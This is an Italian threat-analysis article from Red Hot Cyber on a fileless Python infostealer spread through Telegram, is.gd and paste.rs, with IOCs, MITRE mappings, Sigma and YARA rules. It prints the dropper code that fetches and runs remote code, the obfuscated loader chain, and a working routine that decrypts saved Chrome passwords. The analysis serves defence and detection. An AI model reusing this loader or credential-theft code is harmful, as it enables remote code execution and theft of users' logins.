Red Hot Cyber
La cybersecurity è condivisione. Riconosci il rischio, combattilo, condividi le tue esperienze ed incentiva gli altri a fare meglio di te.
Cerca
Red Hot Cyber Academy

Un nuovo infostealer fileless viene veicolato da Telegram e dai servizi legittimi

Agostino Pellegrino : 26 Giugno 2025 15:12

TLP: AMBER
Analista: Agostino Pellegrino, Crescenzo Cuoppolo, Alessio Bandini
Data ultima revisione: 2025-06-24

Questo report tecnico forense documenta l’analisi completa di un infostealer multi-stadio veicolato tramite un loader fileless in Python, identificato con la sigla “AP”. L’intera catena di infezione è eseguita in memoria e sfrutta servizi legittimi pubblici (Telegram, is.gd, paste.rs) per evitare la rilevazione e semplificare l’aggiornamento remoto del payload.

Il file iniziale, denominato Photos, contiene un dropper che esegue dinamicamente un secondo stadio offuscato, il quale a sua volta decodifica ed esegue in memoria un infostealer capace di esfiltrare informazioni sensibili da browser Chromium.

Catena di Infezione

Stadio 1 – Dropper Iniziale


CALL FOR SPONSOR - Sponsorizza l'ottavo episodio della serie Betti-RHC

Sei un'azienda innovativa, che crede nella diffusione di concetti attraverso metodi "non convenzionali"? Conosci il nostro corso sul cybersecurity awareness a fumetti? Red Hot Cyber sta ricercando un nuovo sponsor per una nuova puntata del fumetto Betti-RHC mentre il team è impegnato a realizzare 3 nuovi episodi che ci sono stati commissionati.

Contattaci tramite WhatsApp al numero 375 593 1011 per richiedere ulteriori informazioni oppure alla casella di posta [email protected]


Supporta RHC attraverso:
  • L'acquisto del fumetto sul Cybersecurity Awareness
  • Ascoltando i nostri Podcast
  • Seguendo RHC su WhatsApp
  • Seguendo RHC su Telegram
  • Scarica gratuitamente "Dark Mirror", il report sul ransomware di Dark Lab


  • Ti piacciono gli articoli di Red Hot Cyber? Non aspettare oltre, iscriviti alla newsletter settimanale per non perdere nessun articolo.


    Il file Photos contiene codice Base64 offuscato:

    ___________ = 'ADN_UZJomrp3vPMujoH4bot'; exec(__import__('base64').b64decode('...'))
    

    Decodifica del codice:

    import requests, re
    exec(
        requests.get(
            requests.head(
                f'https://is.gd/{match.group(1)}', allow_redirects=True
            ).url
        ).text
    )
    
    if (
        match := re.search(
            r'

    Funzionamento:

    • Recupera da un canale Telegram un codice og:description (es. fVmzS)
    • Usa is.gd per risolvere il link accorciato
    • Recupera un payload da paste.rs ed esegue dinamicamente

    Stadio 2 – Loader Offuscato

    Contenuto scaricato da https://paste.rs/fVmzS. Esegue la seguente catena:

    exec(__import__('marshal').loads(__import__('zlib').decompress(__import__('base64').b85decode("c$|c~*|PFlk|y|1XNVIgA|vOF$g0Ys7>c3D)_@p{S!e)(1e%eo3lNe(LIXmGNenkpZCz$

    Dopo b85 → zlib → marshal, è necessario un ulteriore passaggio:

    decoded = bytearray([b ^ 0x04 for b in payload_bytes])
    

    Il risultato è un bytecode deoffuscato eseguibile direttamente in memoria:

    import os, shutil, zipfile, sqlite3
    from Cryptodome.Cipher import AES
    import win32crypt
    import json
    import base64
    
    # Estrazione dati da Chromium (semplificato)
    
    def get_chrome_data():
        local_state_path = os.path.expanduser('~') + r"\AppData\Local\Google\Chrome\User Data\Local State"
        with open(local_state_path, "r", encoding="utf-8") as f:
            local_state = json.loads(f.read())
        key = base64.b64decode(local_state["os_crypt"]["encrypted_key"])[5:]
        key = win32crypt.CryptUnprotectData(key, None, None, None, 0)[1]
        login_data_path = os.path.expanduser('~') + r"\AppData\Local\Google\Chrome\User Data\Default\Login Data"
        shutil.copy2(login_data_path, "Loginvault.db")
        conn = sqlite3.connect("Loginvault.db")
        cursor = conn.cursor()
        cursor.execute("SELECT origin_url, username_value, password_value FROM logins")
        for row in cursor.fetchall():
            login_url = row[0]
            username = row[1]
            password = win32crypt.CryptUnprotectData(row[2])[1].decode()
            print(f"URL: {login_url}\nUsername: {username}\nPassword: {password}\n")
        cursor.close()
        conn.close()
        os.remove("Loginvault.db")
    get_chrome_data()
    

    Stadio 3 – Infostealer

    Il codice risultante:

    • Raccoglie credenziali, cookie, cronologia e carte da Chromium
    • Cattura fingerprinting del sistema
    • Comprimi dati in archivio .zip
    • Prepara e invia l’esfiltrazione verso un server remoto (C2)

    Indicatori di Compromissione

    TipoValore
    SHA256 (Photos)06a882d2b7e17a84d2707b2a2a5a27b0b18dc6cf503a694295bfcd6fe98a3a39
    Telegramhttps://t.me/ADN_UZJomrp3vPMujoH4bot
    is.gdhttps://is.gd/fVmzS → https://paste.rs/fVmzS

    Tecniche MITRE ATT&CK

    • T1059 – Command and Scripting Interpreter
    • T1027 – Obfuscated Files or Information
    • T1071.001 – Web Protocols
    • T1082 – System Information Discovery
    • T1567.002 – Exfiltration over Web Services
    • T1218.010 – Proxy Execution (custom variant)

    Rilevazione

    Sigma Rule

    title: Python Fileless Loader via Telegram and is.gd
    logsource:
      category: process_creation
      product: windows
    detection:
      selection:
        Image: '*\python.exe'
        CommandLine|contains:
          - requests.get(
          - exec(
          - t.me/
          - is.gd/
      condition: selection
    level: high
    description: Rileva dropper Python fileless con payload remote
    
    

    YARA Rule

    rule Fileless_Telegram_Loader {
        meta:
            description = "Rileva loader fileless basato su Telegram + is.gd"
            author = "Agostino Pellegrino (apinfosec.com)"
            version = "1.1"
            date = "2025-06-24"
        strings:
            $a = "exec(requests.get(" ascii
            $b = "https://t.me/" ascii
            $c = "https://is.gd/" ascii
            $d = "og:description" ascii
        condition:
            all of them and filesize 

    Raccomandazioni

    • Isolare ambienti Python non gestiti
    • Bloccare traffico a t.me, is.gd, paste.rs ove non necessario
    • Attivare logging avanzato su processi RAM-residenti
    • Applicare detection YARA e Sigma in EDR/SIEM
    • Segnalare a CSIRT nazionale

    Conclusioni

    L’analisi tecnica condotta ha evidenziato l’elevato livello di sofisticazione dell’infostealer “AP”, capace di operare completamente in memoria, eludendo gran parte dei meccanismi di rilevamento tradizionali. La catena d’infezione multi-stadio utilizza un dropper fileless scritto in Python e sfrutta servizi pubblici legittimi — come Telegram, is.gd e paste.rs — per veicolare, aggiornare e rendere dinamico il payload finale.

    Il secondo stadio, fortemente offuscato, culmina nell’esecuzione di un infostealer con capacità avanzate di esfiltrazione dati da browser Chromium-based, comprese credenziali salvate, cookie, cronologia e informazioni sensibili.

    L’uso creativo e malevolo di meccanismi comuni (come i meta tag HTML, URL accorciati e servizi di messaggistica) rende questa minaccia particolarmente insidiosa, dimostrando una crescente tendenza all’abuso di infrastrutture legittime per finalità illecite.

    Le tecniche MITRE ATT&CK individuate confermano il comportamento stealth e modulare del malware. L’adozione di meccanismi di rilevazione specifici, come regole Sigma e YARA personalizzate, è fondamentale per mitigare efficacemente questa minaccia. Inoltre, l’implementazione di policy restrittive e il monitoraggio continuo degli ambienti Python non gestiti rappresentano misure difensive prioritarie.

    Questo caso studio rappresenta un chiaro esempio dell’evoluzione dei moderni infostealer verso architetture completamente fileless, con capacità di persistenza e aggiornamento che richiedono una risposta difensiva altrettanto dinamica e proattiva.

    Agostino Pellegrino
    E’ un libero professionista, insegnante e perito di informatica Forense, Cyber Security ed Ethical Hacking e Network Management. Ha collaborato con importanti istituti di formazione a livello internazionale e ha esercitato teaching e tutorship in tecniche avanzate di Offensive Security per la NATO ottenendo importanti riconoscimenti dal Governo degli Stati Uniti. Il suo motto è “Studio. Sempre”.

    Lista degli articoli

    Articoli in evidenza

    Che la caccia abbia inizio! Gli hacker sfruttano la falla Citrix per infiltrarsi nei sistemi globali
    Di Redazione RHC - 30/08/2025

    E’ stata rilevata una falla critica zero-day nei sistemi Citrix NetScaler, catalogata come CVE-2025-6543, che è stata oggetto di sfruttamento attivo da parte degli hacker criminali da maggio 2025, ...

    Il Pentagono avvia un Audit su Microsoft. Si indaga sugli ingegneri cinesi e su presunte backdoor
    Di Redazione RHC - 30/08/2025

    Il Pentagono ha inviato una “lettera di preoccupazione” a Microsoft documentando una “violazione di fiducia” in merito all’utilizzo da parte dell’azienda di ingegneri cinesi per la manuten...

    La miglior difesa è l’attacco! Google è pronta a lanciare Cyber Attacchi contro gli hacker criminali
    Di Redazione RHC - 30/08/2025

    Google è pronta ad adottare una posizione più proattiva per proteggere se stessa e potenzialmente altre organizzazioni statunitensi dagli attacchi informatici, con l’azienda che suggerisce di pote...

    Una exploit Zero-Click per WhatsApp consentiva la sorveglianza remota. Meta avvisa le vittime
    Di Redazione RHC - 30/08/2025

    Una falla di sicurezza nelle app di messaggistica di WhatsApp per Apple iOS e macOS è stata sanata, come riferito dalla stessa società, dopo essere stata probabilmente sfruttata su larga scala insie...

    Google avverte 2,5 miliardi di utenti Gmail: la sicurezza account a rischio. Fai il reset Password!
    Di Redazione RHC - 30/08/2025

    Un avviso di sicurezza di vasta portata è stato pubblicato da Google per i 2,5 miliardi di utenti del suo servizio Gmail, con l’obiettivo di rafforzare la protezione dei loro account a seguito di u...